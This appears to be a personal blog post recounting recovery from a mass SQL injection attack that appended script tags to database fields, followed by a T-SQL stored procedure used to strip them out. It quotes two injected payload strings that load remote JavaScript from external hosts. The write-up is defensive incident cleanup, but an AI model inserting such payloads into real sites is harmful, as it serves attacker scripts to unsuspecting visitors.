I received an email from my website manager indicating several errors across different pages. I hate days that start with issues like that, I first thought that someone again broke the website through an edit. But Beyond Compare told me I was totally wrong. I dug even further and realized that values returning from the database were incorrect.
Going down further I opened a whole table with 2 columns containing weird data. Column values have been altered with the following string concatenated to the original value:
"></title><script src="http://www3.800mg.cn/csrss/w.js"></script><!--
"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--
Thank god the original value was still there or I would be crying right now instead of writing this blog post. This is called Code injection and in this case it's using a Cross Site Script to run in the user's browser.
At first I thought a single table was infected. So I wrote a small Linq To Sql code that fixed it. I then came to realize that the matter was worse and a lot of tables have been infected!
I did a quick search for "search and replace" SQL stored procedure and found SearchAndReplace. The SP simply takes a Search string and Replace string and then goes through ALL tables then each column and row and replaces all occurrences.
I quickly ran the following:
USE [databasename]
GO
DECLARE @return_value int
EXEC @return_value = [databasename].[SearchAndReplace]
@SearchStr = N'"></title><script src="http://www3.800mg.cn/csrss/w.js"></script><!--',
@ReplaceStr = N''
SELECT 'Return Value' = @return_value
GO
And voila, the website was back on track. I had over 80,000 occurrences! The stored procedure took less than 10 seconds. I thought it would take longer time to execute.
I changed the database password to something tougher (combination of numbers and lower and upper case letters). I also removed the SearchAndReplace stored procedure ;)
Now that I am happy again, I comfortly searched Google for the same injected code and found TONS of infected websites, 840 to be exact!! ASP.NET, JSP, PHP...this virus got everybody.
For reference, here's the stored procedure:
CREATE PROC SearchAndReplace
(
@SearchStr nvarchar(100),
@ReplaceStr nvarchar(100)
)
AS
BEGIN
-- Copyright © 2002 Narayana Vyas Kondreddi. All rights reserved.
-- Purpose: To search all columns of all tables for a given search string and replace it with another string
-- Written by: Narayana Vyas Kondreddi
-- Site: http://vyaskn.tripod.com
-- Tested on: SQL Server 7.0 and SQL Server 2000
-- Date modified: 2nd November 2002 13:50 GMT
SET NOCOUNT ON
DECLARE @TableName nvarchar(256), @ColumnName nvarchar(128), @SearchStr2 nvarchar(110), @SQL nvarchar(4000), @RCTR int
SET @TableName = ''
SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''')
SET @RCTR = 0
WHILE @TableName IS NOT NULL
BEGIN
SET @ColumnName = ''
SET @TableName =
(
SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME))
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_TYPE = 'BASE TABLE'
AND QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @TableName
AND OBJECTPROPERTY(
OBJECT_ID(
QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)
), 'IsMSShipped'
) = 0
)
WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL)
BEGIN
SET @ColumnName =
(
SELECT MIN(QUOTENAME(COLUMN_NAME))
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_SCHEMA = PARSENAME(@TableName, 2)
AND TABLE_NAME = PARSENAME(@TableName, 1)
AND DATA_TYPE IN ('char', 'varchar', 'nchar', 'nvarchar')
AND QUOTENAME(COLUMN_NAME) > @ColumnName
)
IF @ColumnName IS NOT NULL
BEGIN
SET @SQL= 'UPDATE ' + @TableName +
' SET ' + @ColumnName
+ ' = REPLACE(' + @ColumnName + ', '
+ QUOTENAME(@SearchStr, '''') + ', ' + QUOTENAME(@ReplaceStr, '''') +
') WHERE ' + @ColumnName + ' LIKE ' + @SearchStr2
EXEC (@SQL)
SET @RCTR = @RCTR + @@ROWCOUNT
END
END
END
SELECT 'Replaced ' + CAST(@RCTR AS varchar) + ' occurence(s)' AS 'Outcome'
END
